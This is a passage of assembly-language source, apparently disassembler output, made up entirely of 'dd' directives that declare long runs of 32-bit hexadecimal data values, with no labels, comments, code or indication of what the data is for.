		dd 641A077Ch, 800B4418h, 0FC00B850h, 259DFF46h,	384D442h
		dd 37338738h, 80D4F99Ah, 0FE8C4F7Ah, 2A3FE300h,	2CBFC04h
		dd 91E62Ch, 48315C67h, 0F9DAE1D3h, 0E5C4E9A0h, 4D649A0Ah
		dd 4674B089h, 528A0338h, 0FA48571Fh, 50D043FEh,	430D2C48h
		dd 0CD861D36h, 0C6954AC8h, 790121D3h, 7FD5CD9Eh, 5024A25Bh
		dd 0DA4600EEh, 0CE1C5E98h, 2028BBACh, 6F0FC4CFh, 0AA0579C5h
		dd 0CB435892h, 0BA07F9FCh, 4C883318h, 0A3FC00CCh, 0DB20B1D7h
		dd 8416D21Eh, 0D807A47Dh, 5740E666h, 77B05B0h, 8B07CA98h
		dd 1CD8DA47h, 5C964AB2h, 18F028C5h, 2921B056h, 673F9E0Dh
		dd 0EBED00B7h, 102D88F1h, 5DA5375Ch, 4175F078h,	0AB0F126Dh
		dd 894BCBE2h, 4D9C180Dh, 94CF23C1h, 9105383Fh, 0F7848CC7h
		dd 92CF07CEh, 0A8D3BBF1h, 7C886E0h, 0FFE010FAh,	0F18C461Bh
		dd 30B4F103h, 0C29F013Ch, 3E4468B2h, 69606208h,	0EC4B4CF9h
		dd 6A8E2006h, 113EB7h, 66417C27h, 0F43AAB45h, 0CA536D00h
		dd 87FA2EEDh, 159A0989h, 709122B7h, 54220Ch, 8A11A05h
		dd 50C9F0h, 316A3DF6h, 7D48F956h, 0C1CE63Eh, 0A99CADD8h
		dd 390974EDh, 88507A60h, 0F8F03E8h, 43DBE3A3h, 0CE1617D8h
		dd 0BDB0974Ch, 1DDE30D6h, 38116800h, 44C05706h,	0F8730B3h
		dd 94A4168h, 0E0802E02h, 428E1CF3h, 0ABF440FCh,	0CFC0805Fh
		dd 40CC9F56h, 0C72B16BCh, 1118CC94h, 89C821h, 76F9D405h
		dd 0F7DB25B0h, 20DA48h,	1FE26058h, 39C3CA83h, 18E103E3h
		dd 48C1392Fh, 8891A7ECh, 44ADF900h, 1BB7447h, 708DE04Eh
		dd 30D7FA01h, 8604C66Fh, 1A43EBF4h, 5D073C81h, 4E9CB08Dh
		dd 9AC89222h, 3B23E83Ah, 0F988DE02h, 0E0744B4Bh, 6036E5B7h
		dd 0F1A799C3h, 930F6ADFh, 0ECD0FE87h, 30229CBh,	0C9C23C75h
		dd 0D17CA7BCh, 40E4DDA0h, 0F78EB704h, 0FC914168h, 7062B6CCh
		dd 8FA4E903h, 0B4E71326h, 4A304337h, 3A53C8EFh,	7A593C72h
		dd 5B8E02Ah, 0ABF39AA4h, 0D3BC925Ch, 489CF030h,	3C594E26h
		dd 81BFD588h, 29389CFBh, 91F253D9h, 2818F9F4h, 0C6F80508h
		dd 4010C484h, 9F051FCAh, 287001FBh, 3E52FCA3h, 5AC2215h
		dd 314853D5h, 2067C413h, 0DA3EAAC0h, 60D04D4Dh,	0C4001D23h
		dd 0F20783FCh, 39448664h, 0FCCD0249h, 0C20848EEh, 7FAF5440h
		dd 67888B03h, 7B3B9CF2h, 0F3097870h, 4CD1893h, 3335FEC4h
		dd 4AC5D97Dh, 90001CD2h, 678CD95h, 79738BB3h, 68F90022h
		dd 321D2EC3h, 0BEC2464h, 412988E8h, 5602F4D6h, 0C0F5B640h
		dd 4BFFE00h, 6EEE7944h,	44EC8DC5h, 88D88B48h, 30D9C03Bh
		dd 0DC15F25Dh, 0C0A81C5Fh, 1279CF57h, 308F0993h, 0CC825D4Ch
		dd 24680EC7h, 88AC9FD5h, 7822212Eh, 29D3215Eh, 724DF880h
		dd 321402h, 40E91036h, 2E1EB15Bh, 0F77B6679h, 0BE003FEEh
		dd 74E4ABC7h, 755C44ACh, 0D06C00FFh, 0C9AD2FB9h, 9C170DDEh
		dd 343208EFh, 0E4604597h, 131F60C1h, 0AF17121h,	0CE7CB8EAh
		dd 53C70288h, 3C4587ACh, 0F5746424h, 640B6F18h,	0F7FC31h
		dd 0B387B7E8h, 5CE44C92h, 9044CC0Ah, 3F24BDD4h,	80F91134h
		dd 5768CD82h, 5B208CB5h, 9A8D2C28h, 0E69103F8h,	0A8C8C548h
		dd 2E09736Fh, 0A277C3ADh, 6457F9C0h, 0A7AC4C30h, 9AE46E28h
		dd 132724D4h, 5CA44A2Ch, 0DE013846h, 4B424CB9h,	0C8CC34E5h
		dd 0C077E310h, 0CC968415h, 270156B8h, 9A01AE81h, 9660C004h
		dd 2BB60123h, 0A236A11Dh, 38318030h, 5095337Ah,	0AC900Eh
		dd 221872DAh, 0D05125AAh, 0BBC9C91h, 80C442ABh,	0D8B04A1Ch
		dd 0F99864E6h, 0F9696094h, 0EA07258Eh, 4A002016h, 6719FCD2h
		dd 11C8AE7h, 6660982Fh,	209E0AB7h, 1F8CCD44h, 0C91C9D02h
		dd 0A49601F2h, 9CFD8A1Ch, 0AFD3B242h, 0C9A7025Dh, 825E0048h
		dd 0CC043600h, 9B241B07h, 63BD005Ch, 0D69C9FA6h, 14096F12h
		dd 22EB73E3h, 223B4528h, 44480E68h, 0E500D76Eh,	0F8C2E72Ch
		dd 3DC873CCh, 7A9C4590h, 7E958470h, 52F08A0Ah, 3166E244h
		dd 75D3F83Eh, 0ABAC0102h, 0E66FBCD1h, 6F472A4h,	0DD40570Bh
		dd 410559BAh, 0F1ABFF76h, 5411ACC8h, 22B44Bh, 3912A431h
		dd 0C3C79C2Dh, 0FDEE4C00h, 0A294F4CBh, 59430C86h, 9313E10h
		dd 26010F71h, 4187AF89h, 3DDC49C4h, 0DBD105A2h,	8C830605h
		dd 0BE0039B4h, 4EB5E16Dh, 0F9AD28D1h, 7AA4BC4Ch, 784BE6D3h
		dd 1FFA00FBh, 347B7E86h, 3B982BABh, 0C07A024h, 48BABBh
		dd 26564AC7h, 973E480h,	902C505h, 0EC5950BAh, 2318C059h
		dd 8B41BF0Dh, 2C72995Dh, 0D41A0E00h, 9D95F489h,	0DDAA7F00h
		dd 17272D33h, 0AF300181h, 7343C6F0h, 81F8323Fh,	8E7644BCh
		dd 426CC7F6h, 0AE18285Bh, 0F2E200BDh, 6F9A3739h, 0AA04302Ah
		dd 10652ED7h, 18B49488h, 0A62C6B86h, 0BC00C65Eh, 0E9D723FCh
		dd 678709D5h, 0E83FA0EFh, 0C0D19C29h, 0AA094318h, 608EABA5h
		dd 579BC08h, 0BDDAB33Ah, 0CF649348h, 940E00E4h,	52C2ABFEh
		dd 66E27C46h, 0E076EE30h, 45C026C9h, 0AE8A00F4h, 604AA605h
		dd 5C63F5F2h, 0E1AB08F8h
		dd 502D48D7h, 0CFB40181h, 826189Bh, 34C6F205h, 1C3CE8C9h
		dd 8505011Eh, 9E480320h, 0BB90E32Dh, 277D2843h,	3402894h
		dd 17490E8Dh, 200F391Fh, 1789BAB0h, 30809C9Ch, 6D748119h
		dd 9F4F0B32h, 14011841h, 0D227C580h, 20B2C049h,	408ACA84h
		dd 0AC4CACh, 0F24A6E42h, 0ADC3885Fh, 0DD1FC178h, 39B0020Ch
		dd 0CF5E073Eh, 6003D279h, 0F8050D7Eh, 2C9EAC91h, 1AFC2CC0h
		dd 0C2DC2C69h, 188651ACh, 10054825h, 78963C27h,	51D211Dh
		dd 2EAB6440h, 4E10DE80h, 10642FE5h, 46C00B42h, 0F88A5777h
		dd 963B7138h, 1408266Ah, 1E2028CAh, 1E8318E3h, 343525F4h
		dd 8A50DB02h, 9FF061DEh, 0D5043428h, 149B0F43h,	7CC237Ch
		dd 92259CF1h, 8C1B021Ah, 9CF88B42h, 0C40F4640h,	8CC6583Fh
		dd 21DFA16Dh, 0F3DB00B6h, 0D41369EAh, 10047E1h,	0C30F972Bh
		dd 9BF561Fh, 34DBD52Ah,	867BC09h, 2860C844h, 7D786502h
		dd 39FB090Eh, 4A43214Fh, 38220CBDh, 92D46500h, 5B8346F6h
		dd 0D5E8AB00h, 93278A18h, 2880BA77h, 9CDCC258h,	392156E0h
		dd 69CB800Ah, 0E3EC1A9h, 7C0C5B49h, 800CB75Ch, 67D8D32Fh
		dd 68050C0Fh, 1F68BD41h, 4DE4988Ch, 284EE481h, 0BB484F74h
		dd 13E70020h, 0FD71C266h, 5C6DD9Fh, 5DE0F9h, 0C155B2A0h
		dd 60939ACFh, 3059101h,	6181CC7h, 1891D88h, 0B3D8B805h
		dd 0C4103FD6h, 2D03BF81h, 93079FA8h, 9885B497h,	0ECB30402h
		dd 0DBB059BAh, 0B4AE60D4h, 0E33A4CCDh, 0CB64030Bh, 0D146D094h
		dd 309CEE0Fh, 0FC651229h, 9CF9F680h, 9E4AA3Ah, 0C0907B1Fh
		dd 0E010650h, 0BBD6362h, 6C235FF3h, 2E39D5A2h, 0C7822838h
		dd 5442384Bh, 0B821C4E5h, 2D60D473h, 805181Ah, 0CE4C4EBFh
		dd 43428080h, 14649EA6h, 0DB208C07h, 0FC461098h, 0CBCD8302h
		dd 0D4318D4Ah, 9B822180h, 9F1F48CDh, 0F2576704h, 0F0833D1Ch
		dd 8F4CA8E9h, 1DAD0049h, 0B3262841h, 3098FA5Eh,	0E929581Fh
		dd 230DA6C0h, 60BB43C7h, 6E44F062h, 0EE09FC32h,	0E28AA7A5h
		dd 7034DB24h, 8D09BB26h, 0E8B7EBC6h, 4E40Ch, 6F357785h
		dd 3C3F50C0h, 5F43DB01h, 1DCE16E2h, 12FD0ECh, 0F8980B69h
		dd 0E7E341F3h, 872E7903h, 0D5A6FEh, 6FC75C11h, 0DB6355D6h
		dd 11B51C01h, 0BFD2DCBEh, 12CF6AD0h, 0D25C8A40h, 0C5302034h
		dd 0FC07FAFCh, 4A208663h, 0CE4E040Bh, 0F467B4FCh, 3B3E680Ch
		dd 9422806Ch, 0FA08BCEEh, 1424FF1Ch, 0EB9211B3h, 82B5AF1h
		dd 0C2CF0C10h, 0F847C66Dh, 94B202A0h, 0D0FF8B87h, 1552500h
		dd 672D03CCh, 0F4D5077Ah, 410063ABh, 0AF202CC8h, 0B723F5Ah
		dd 551FC615h, 54788C08h, 800A3721h, 0E1D6741Fh,	2DF0C0B0h
		dd 0F3996902h, 673AC557h, 60134404h, 14C58973h,	0C4635E40h
		dd 91CDFF04h, 0EB7C8187h, 36C109D3h, 0CBB8870Ch, 8CED4A2Eh
		dd 0B09F8E70h, 0ECA60473h, 0F4F74DF8h, 0BD1F4B14h, 3700A4F6h
		dd 0A7ED066Fh, 44E300BBh, 497BFF68h, 8033871Bh,	0F50848h
		dd 68BCC321h, 25A164FCh, 7612D104h, 1B2106F4h, 6408A4FEh
		dd 0FF9C803Eh, 0F1BED574h, 0B9A40182h, 2D6073FBh, 2900F3F9h
		dd 6EEF44EDh, 0E247D4h,	47526A0h, 660B8883h, 0EB966900h
		dd 1E544F0Eh, 1EEE0C4h,	0B404746Dh, 82FD63BDh, 653BAE79h
		dd 0EF00FFC9h, 0E6DCCB08h, 29029100h, 96414E5h,	0B0E065Dh
		dd 7885DE40h, 0BCB3A71Fh, 799D9E85h, 0BA1FBCC0h, 8741068Ah
		dd 0A1ABD4B4h, 4DFC0700h, 0E6EB3E4Ch, 0C3263388h, 21010E08h
		dd 2A4DF4FAh, 7C600C48h, 307FFA06h, 0B6B11B60h,	0EF3D2439h
		dd 71D20007h, 1F870198h, 5720C01Dh, 8A1AF4A7h, 458D88A8h
		dd 77A84600h, 807A313h,	84D0FBFBh, 0B420C3A6h, 57A8464Ah
		dd 9F000C20h, 7A85FD9Ch, 381C124h, 47D8AC4h, 181484DBh
		dd 0AC3056C6h, 0C4808C8Ch, 16007885h, 6E293BC9h, 6354BE41h
		dd 0AC9B59C4h, 0F9915E3h, 0CEA543BBh, 1BE8FA9Bh, 88C1B835h
		dd 0F03055A4h, 0FBB0168Eh, 3A870CC0h, 70E0CF2Eh, 2FC6A14h
		dd 0BA3FE4h, 62656720h,	30042193h, 0B38F7B3h, 0A0243DCBh
		dd 80BC58EBh, 0E6E0ADE7h, 0F098BCA2h, 83293D36h, 0D6065081h
		dd 50A0D4CAh, 67438CCCh, 0BA824D00h, 0F6563AF7h, 6BFE1E83h
		dd 31BE79DBh, 0A1C4510Ah, 727002C4h, 2C49F4B8h,	0E64410F3h
		dd 0AF1A0F96h, 88626AABh, 4F40A83Ah, 9000B53Fh,	4724708h
		dd 0A0FF6550h, 544A7499h, 48688087h, 0F6BCB0A5h, 26D9008Ch
		dd 570EFA0Dh, 0A1D90F7Ch, 8440E57Ah, 245B02E1h,	0BB6487DFh
		dd 44C9387Dh, 0BA8C963Ah, 0B108C638h, 0B0C521C3h, 15E8D8C9h
		dd 0F3DF0E47h, 9C267235h, 450C50E4h, 680E9780h,	0D1809146h
		dd 34A18F1h, 751B8473h,	89A26B35h, 398B3848h, 0FE51837Eh
		dd 0E59180D4h, 0EBBF8A48h, 3CFD24A2h, 845740C8h, 0EE0C506Ah
		dd 69206831h, 48E74847h, 0C2251Dh, 49999171h, 0CF05A516h
		dd 87206F9Dh, 0E47D980h, 3D250031h, 49A97F67h, 0FD28D0AAh
		dd 0F60E3028h, 154F46ABh, 0BCEB0090h, 781A452Dh, 0C8F40155h
		dd 607A649h, 0FF2893EFh, 0C0369008h, 7BF06847h,	0EC38B146h
		dd 5F01C0C0h, 0DBACA068h, 6FF03317h, 0C3610946h, 3831033Fh
		dd 8381E5FEh, 0B47CA699h, 1E18750Ah, 2A8B513Ah,	0E4646F4h
		dd 847C9A9h, 40B2C48Eh,	5BC9B1C2h, 0D6D702B3h, 0ECDC5421h
		dd 3D0EA440h, 0AF0CA90Ch, 37A10F3h, 0C7D76504h,	1BB13E8Ah
		dd 0FEEC2091h, 0ECA9712Ah, 40E66D02h, 41B31E74h, 9091E868h
		dd 0C9B5835Ah, 1CAE8233h, 0C903BDEEh, 18977D8Fh, 0DB45805Eh
		dd 4985E2E5h, 0D00DC32h, 0BF89519Ah, 21F11072h,	23941948h
		dd 3081A290h, 0CC00A466h, 31343F2Ch, 0A673C142h, 83AA28ACh
		dd 3D901328h, 60444558h, 75F44305h, 9CE04227h, 0FF1F21B3h
		dd 68003498h, 5D6E6AAAh, 9C435064h, 429F418Bh, 463039F4h
		dd 467BFA68h, 0ECEB1059h, 685ECD01h, 0F19C9726h, 3C1C3061h
		dd 88402C58h, 4DFDC3B1h, 0C0137024h, 0C05F0FC4h, 0EFD64DF5h
		dd 0D00A776Fh, 0E8045401h, 0D066B39Eh, 304CA032h, 9A11684Dh
		dd 0F18C617Bh, 451DC621h, 60002768h, 4093D6Dh, 0C48537BDh
		dd 0F1C568A1h, 0F323C2FEh, 13025091h, 274D88E9h, 0E0D60089h
		dd 0F7D7A2CAh, 6130C712h, 0E3E671F8h, 53360099h, 117DA1BDh
		dd 9707ABB0h, 147277C8h, 0E0C03F9h, 0D90B82Ah, 52611287h
		dd 0EB1048CFh, 0AB464EC0h, 86FB7D77h, 0AD9B44h,	78D24636h
		dd 3583E165h, 72D12D07h, 1EC0646Bh, 0F1FD36BDh,	80F55891h
		dd 77A94644h, 22A3432Bh, 4D4B0085h, 0B15D8E46h,	5498AF67h
		dd 8CA0E876h, 5652E7BBh, 3082B228h, 0EA00EF7Eh,	13318E3h
		dd 0C09A2443h, 0DA615C21h, 0FB00D783h, 34D23A67h, 27EBE6Ch
		dd 0A858ED64h, 0DC8208F2h, 3E0183D9h, 0FDF19F34h, 40A65464h
		dd 652427B2h, 0C0A8468h, 4203B4EAh, 0FF0D2B80h,	0A1E8930Bh
		dd 0EC24863Ah, 0DD1B3E3Bh, 917A353Eh, 804D1180h, 7B996842h
		dd 0C074B179h, 0CF685AC1h, 4044BF02h, 0C0FF85E1h, 808F17FCh
		dd 6E337C78h, 0E120A0B6h, 18BDFD4Fh, 0D89E0C9Fh, 3C6D0BBh
		dd 443762F2h, 57E1B8E9h, 0C20670Fh, 40DB4920h, 25249802h
		dd 5C646FBAh, 79438E0Eh, 0C81352A8h, 38F03443h,	0BB21046Fh
		dd 0C9680FAAh, 0F6702464h, 0FE0A00E1h, 4D65074Ah, 0A4EEFCD3h
		dd 107CD70Fh, 698A7220h, 4828F74Ch, 0E86824BBh,	0F34674h
		dd 89BF507Bh, 26767E1Eh, 8386386h, 7C04AFD7h, 18D0132Ch
		dd 3E060C72h, 4B03FEC8h
		dd 6BA280A4h, 1143AE8h,	3EAE88C0h, 0E86C1C8h, 40B7F5D0h
		dd 0C0BA35A0h, 750CFA97h, 401C6754h, 0AB06E27Ch, 866A80B0h
		dd 96BD00D7h, 0C9CE7264h, 0D448204Fh, 5AD0150Ch, 0E27042A8h
		dd 25B7300Dh, 80A36B3Fh, 845907C7h, 16167AF7h, 2FED4668h
		dd 0BC237Ch, 0B995D12Ch, 0EF2621C1h, 46166260h,	0A4AAB408h
		dd 9C8360F0h, 5F00D60Ah, 0F5C6A1CBh, 4723C4h, 0B964FDA3h
		dd 0D86209ADh, 2CD248h,	28F794BBh, 9089485Ch, 79030F44h
		dd 71C1EB0Eh, 75545F67h, 0E6AC4178h, 3C7200AFh,	0FF242C3Dh
		dd 33DA0EC0h, 65238DA2h, 17A7C848h, 38BDF114h, 3E96F120h
		dd 732AF918h, 0DE30A4F6h, 94B1D98Ch, 9CE100AFh,	0DF7B6757h
		dd 0EEE69EFFh, 0A45F022Bh, 30C9B407h, 0B562B604h, 0C9BCF920h
		dd 0EB813456h, 0BDC408D8h, 4EC9AAC1h, 0BE18C6C1h, 0B2FB88h
		dd 0BC1CA6C9h, 0A9C0AB22h, 0C0C19F29h, 0FDF1EA00h, 48FCDEh
		dd 0EED38C54h, 0A3695F28h, 7823AC00h, 0CFE62DA1h, 96209425h
		dd 76386FEDh, 410E890Fh, 6C87FCA8h, 4F01D053h, 60200138h
		dd 0AC65176Bh, 300C05D5h, 44B8C8FFh, 0C9AF1C8Ch, 889E1145h
		dd 0B7C480B3h, 691EAAC9h, 0F339783Ah, 0BDB980F9h, 0AF5A7D65h
		dd 0A06E037h, 0B28740A9h, 4DFE4064h, 0FB483E42h, 0F6E8E094h
		dd 0AA5D014Dh, 212C7E68h, 2C062B6h, 0F5CC0FA1h,	3554C25Ch
		dd 0B2B1805Ch, 0A6455D08h, 0A14A5470h, 47A04042h, 0F8172BB5h
		dd 0C480BF11h, 3DB86DECh, 702A9C01h, 3B85E76Eh,	0C0CA46h
		dd 0C1549526h, 77A3111Bh, 0D418214h, 420607C0h,	8098DFF4h
		dd 2CD807E2h, 0BF12E323h, 80C4883Ah, 48C2D0C4h,	59AA2780h
		dd 206B1810h, 71B08800h, 0ECA428ACh, 14CB34Ah, 7BFC6843h
		dd 807C7351h, 0B5685BC4h, 0D844FD60h, 30386CC2h, 0FE3A6841h
		dd 0F722467Bh, 0D759C228h, 29338CFh, 8A0CB071h,	0AA0C59ACh
		dd 9803297Ah, 0E06FFA74h, 0C3C07085h, 0FD25B9B8h, 184E2100h
		dd 0DBE5F1E2h, 0EA5007C8h, 0D025B50Eh, 0EE6423E7h, 0D0A5BB72h
		dd 9D8171EFh, 704CEE74h, 0AA400F08h, 69710CA3h,	0A098270Dh
		dd 8247C18h, 283DEEB8h,	7CBCDD50h, 0A0C84980h, 0C199D012h
		dd 9EB8DFE8h, 0D345FC61h, 0D09347DBh, 49EF33Ch,	9D238060h
		dd 0B70083B5h, 5F43906h, 0B1F08847h, 18F4D120h,	9C545067h
		dd 4DBD3A90h, 0C2B33C12h, 0FC97A578h, 60ECEF88h, 41C54C16h
		dd 37C03D00h, 57490BADh, 0BCA40901h, 0CC200AD7h, 7DE7D0D4h
		dd 8E831F00h, 0FB34B371h, 0ECA70F58h, 0D420849Eh, 6629D607h
		dd 24E1036Ah, 0F54674h,	10AC1642h, 5028CC9h, 74F27EA3h
		dd 5B85C9Eh, 1909C5Ch, 302382B0h, 4BC4545h, 52588788h
		dd 46F61009h, 4633043Ch, 624377AEh, 384A209Bh, 0D0D5A46h
		dd 917E6189h, 0EFBC7028h, 1CAB008Ch, 310AD4D8h,	38186F6Bh
		dd 0ED6970F9h, 4F0F1393h, 3670C024h, 4C4CFD3Dh,	0A7E1613Ch
		dd 7180F963h, 3A5DDB46h, 0B12AFF8h, 6C009FB0h, 0DE3B2B60h
		dd 3D31C0B4h, 187CC474h, 0A54C9200h, 0EC094090h, 5D70EE6h
		dd 12E128BFh, 0B0A99951h, 5E658912h, 0A77D0123h, 69468042h
		dd 7900C3CFh, 6E264D03h, 73D678EFh, 99042D8Ch, 0A0E0B40Ah
		dd 915496B4h, 463080E9h, 964B77B5h, 394F5818h, 8214463Ah
		dd 0FE36D1B2h, 8087A21h, 0F5FC570Eh, 78627007h,	0F8381F08h
		dd 6B40A4B4h, 737C0038h, 70249F79h, 0DF782472h,	74A002ECh
		dd 6B000760h, 24117E73h, 1024BACAh, 0C0F2C861h,	77A24647h
		dd 0C42C234Eh, 464C00B6h, 484593BDh, 0FC056A24h, 0F5D78549h
		dd 39BC4Bh, 2362EF80h, 0BE990001h, 2FF0BDAEh, 884D71BAh
		dd 0C42F4A9Ch, 1B079923h, 0C6D0647Dh, 0F74521h,	0F5375EB2h
		dd 0C8F46FA2h, 1C22A003h, 1344B40Eh, 0D109F910h, 8199377Ch
		dd 259F7718h, 0A423ABFEh, 683081E2h, 1AF90041h,	1E95A5C9h
		dd 6A14F188h, 0BCE870h,	542E3038h, 701CCC99h, 786F13A6h
		dd 0BFB04CBBh, 5E008691h, 3CC6397Ch, 216EAD8h, 0DAE585E1h
		dd 3C7BA409h, 145FFD58h, 843B3036h, 61FEC067h, 9DFA60CEh
		dd 4840A849h, 8F019EA5h, 98B5017Bh, 26A9F6F5h, 23CC73BCh
		dd 4D9A01B6h, 0E1B3E4Eh, 4DF2FC00h, 70AB4286h, 67DF5B00h
		dd 0E501CF65h, 1D57483h, 21CA7AB2h, 3085B734h, 21F9406Ch
		dd 0CF03E44h, 4D222C92h, 0F81114h, 0C89850B9h, 15A55A3h
		dd 71DC9AD1h, 0C842317Ch, 67288486h, 6870A8D6h,	17A5732Dh
		dd 8FEF11E8h, 7D96AE74h, 72A3FD00h, 1F3D8C51h, 0C6CC4C83h
		dd 51046F37h, 5791E207h, 1CA09365h, 58FE6EFFh, 9A81D02Bh
		dd 731A817Bh, 32B3A2ACh, 0E345440h, 51273C7Dh, 0EED00014h
		dd 5BD3598Dh, 23183A4Bh, 1A4A0FBEh, 0B7E9D200h,	230BEC3Dh
		dd 82ED5090h, 2ABC310h,	64735D21h, 0C706B073h, 67D40059h
		dd 23360522h, 0F04E1C5Ch, 0A0BAF444h, 2F043E01h, 0EA2703F6h
		dd 73985141h, 20F060BCh, 0C0F5E25Ch, 29D28048h,	4501707Dh
		dd 0AF998E3h, 30B1B91Dh, 5F70428h, 0F9618044h, 6B267C40h
		dd 7400F819h, 30A5B457h, 0FE9E729Dh, 1DD49950h,	4F0866AAh
		dd 0EC6C6AC2h, 4D0C54D0h, 110C6590h, 891B2E78h,	0E5A60254h
		dd 4DEEC8h, 0B17CB7C0h,	0AE650673h, 0F9A3D52Bh,	0AB3D6100h
		dd 8E089F92h, 0C8BE0236h, 3862718Fh, 9A0B6C58h,	41192C0Dh
		dd 20304FE0h, 73030FF9h, 0B96975F2h, 18B3E811h,	454D08F3h
		dd 0AC4C33Eh, 4DEBE740h, 513CDD87h, 0F8E45CFAh,	5E008CEAh
		dd 0D41E8BD2h, 0B059D377h, 0FBAC2080h, 782BE113h, 8723C03Bh
		dd 0F686AB00h, 476C69h,	5848E12Dh, 0FE2BDE7Fh, 0C8D23D76h
		dd 0BE88A08Eh, 158E62C0h, 968E6C2h, 7F785F5h, 6AA330E8h
		dd 7E7D2005h, 0A0E0990Ch, 11E17846h, 0EA8C1C0h,	407DCEDFh
		dd 0CC7CAE1Fh, 0F86CF4D9h, 2AD20B39h, 58D89170h, 59460735h
		dd 0ECF3E4A2h, 0B5C0308Ch, 85EB00BCh, 73D9F277h, 7248FDD4h
		dd 4F049C64h, 84A9D360h, 0A60CB42Eh, 0AE65CFC4h, 0AFC0F0FFh
		dd 0E808425Ch, 12018C86h, 7F937542h, 406C092Ch,	0C99D2005h
		dd 47894B8h, 2402CCCCh,	72A060E6h, 0D02C6E6Bh, 467E54D8h
		dd 341200F3h, 438A1D2Ch, 0B2F76F1h, 88BF3C21h, 232DA0E0h
		dd 0BAF85419h, 7FE1CA11h, 0F5BC3C2Ch, 2600ED43h, 0C7E8C39Fh
		dd 0A009B170h, 8098545Ch, 6822B2BCh, 4C0707D6h,	55804244h
		dd 2C800BDh, 56D4DA73h,	80E4C4A5h, 6E584067h, 8E16E437h
		dd 8C3A4720h, 0DCEDF710h, 0ECCB8C92h, 0ECAA0409h, 0F5621C67h
		dd 6A5318EDh, 0C5015105h, 1887A12Bh, 0E54C0A9h,	709A6B74h
		dd 60E094CDh, 56AC69Eh,	0B0E36D8h, 0E004814Eh, 246188A9h
		dd 8817699Dh, 0EE89FB11h, 85471403h, 9045100h, 0AE8AC7C8h
		dd 491CBC28h, 8211681Dh, 0A1F0F280h, 1E01D12Ch,	2385373Fh
		dd 186DA4C5h, 0FE32460Fh, 0AFB81863h, 0BCA0385Ch, 13C8C87h
		dd 9CB08055h, 430F8238h, 3C751690h, 6E280403h, 0FE90B407h
		dd 96D02648h, 0BF23403Ah, 0B46AC400h, 16A999E6h, 2B3D96h
		dd 475E450h, 0B090FC6Bh, 0D08149Eh, 0B29800F1h,	6019071h
		dd 0C21A905h, 44F58343h, 0FBBC1868h, 475C008Ch,	72F0320Eh
		dd 69C1F368h, 839D047Bh, 493C0822h, 0DA76C083h,	38C83A73h
		dd 7CADBDB5h, 0AF5F8060h, 8864003Ch, 7C04919h, 3E12F442h
		dd 0E0A2585Ch, 23AC2E93h, 0DE800F5h, 1F5614F7h,	8740DD00h
		dd 0CBD10478h, 0FCD1D4C7h, 28CF4E8h, 6277AC17h,	0E05EFC40h
		dd 67B07109h, 6086C4D8h
		dd 445BE55h, 710C7FF6h,	2384AD3Ch, 4DF001B0h, 19CB3E40h
		dd 0E8422FEEh, 0F380B24Dh, 0D4C9A38Ah, 0BD6ED7E6h, 22B38021h
		dd 1FE2CE07h, 14B61048h, 80B85837h, 6574038Ch, 39098348h
		dd 0BFDA05FBh, 70502450h, 34123E38h, 74918B2Fh,	0DE01B206h
		dd 25602C24h, 0AC384863h, 6892160Fh, 0C8BCCE38h, 723CC3BCh
		dd 9CC600F5h, 0E4B68A06h, 0BC38835Ah, 7A8F40C3h, 80592C2Dh
		dd 573C20CCh, 3AFD5A90h, 0EC23A0h, 8F4BE6FEh, 98F6718Eh
		dd 6B186301h, 0A3DC8A26h, 2ED38869h, 0C3EC380Ch, 1DE2F200h
		dd 17C88BE9h, 6B7C3B00h, 5A8AF52Eh, 0AA05A42h, 809C7290h
		dd 4E0A0E37h, 0E4265C28h, 733E8C30h, 30C42B2Eh,	6180608Dh
		dd 23D42F2Fh, 0C66B00F1h, 0EB0C3E70h, 1BAC8597h, 1A1E0B4h
		dd 4E531E02h, 7E416B7Eh, 86A1F0h, 174FC747h, 0DAC06A72h
		dd 9A0FB4B8h, 851E7441h, 90A48ABBh, 0D06135AFh,	0E044B6A1h
		dd 4349B0h, 0A989FEB2h,	0B4FA646Dh, 97F08795h, 0ED04C0C7h
		dd 80656B47h, 558273E8h, 0E50C809Dh, 0EF3D83h, 0A7A98C68h
		dd 40EE03BAh, 0BC7BB099h, 389A7360h, 8ED6C201h,	5CE7F761h
		dd 38F1D044h, 206E2Bh, 96C27D46h, 4CF47C81h, 0FB0140BEh
		dd 9FE836Bh, 4581A7EFh,	600DE468h, 12F6AB6Fh, 40A90409h
		dd 0EB8465DCh, 0F71F4EEFh, 26B8A649h, 0ACA4D0E1h, 258E3109h
		dd 909591F0h, 0B723E43Ah, 94BFF0Fh, 58DCF357h, 4C1C015Bh
		dd 63C260CCh, 0C03F5880h, 8087D390h, 51DEF218h,	9FE74ECEh
		dd 0C7056700h, 2E1C3B5Ah, 9885D20h, 0C4CBF160h,	0BA4E1070h
		dd 54A19420h, 0AD096C8h, 7EB4BC27h, 3A00FB46h, 0C8104623h
		dd 0B20984DEh, 22146597h, 70A0FD8Ch, 44179598h,	8B80B511h
		dd 654594E5h, 0C62B6E00h, 0FA09A0Dh, 5B290CCCh,	5858CE92h
		dd 0C9AB1C8Ch, 38BE1631h, 0B300F8DCh, 0DA3914C9h, 198501Fh
		dd 0F77EA3BBh, 0DC21E585h, 200B4CE7h, 0E8AED334h, 4EC03AACh
		dd 0F330C2EAh, 2AD4D20h, 2A04009Ah, 4B7F0AAFh, 46FCB9D1h
		dd 0AC777000h, 6055A46Fh, 0B09D9784h, 60ECEB88h, 0A6584A31h
		dd 12093025h, 0E090CD44h, 7A875611h, 0A3152412h, 8DD7401h
		dd 0D4637826h, 7530F1A2h, 0B23C0089h, 0A01E13FDh, 9E01352Dh
		dd 6F46FCCh, 7C338EAAh,	0CECE8E1h, 0D0D400F7h, 718210A1h
		dd 4900E299h, 0FA793439h, 48084427h, 0CB4A64F9h, 0C0BCC890h
		dd 8B12BEB5h, 3D399E00h, 7B22C4F7h, 0D6E52824h,	89261EB0h
		dd 995242F9h, 0B84A8B54h, 465E5474h, 90B6308Ch,	2C33427h
		dd 31027B3Ch, 0D82083C1h, 0E6DF29D4h, 0A4DE48A9h, 1E58C00h
		dd 666DB064h, 58076F00h, 6AAE9720h, 0B084F2ACh,	0E0AB5151h
		dd 0F46673C1h, 0F5C085F3h, 8D01FC6Ch, 0E5491C55h, 607C3CFDh
		dd 0F8344F82h, 54204500h, 0EC079DB4h, 3F7A1DAh,	7240759Ah
		dd 0ECE8F140h, 0C200F40Ch, 8DBED097h, 67B7D0Fh,	60D447FEh
		dd 9C0049FCh, 0AB355EECh, 9BFEBBAh, 0B1DCD12h, 0D0575F00h
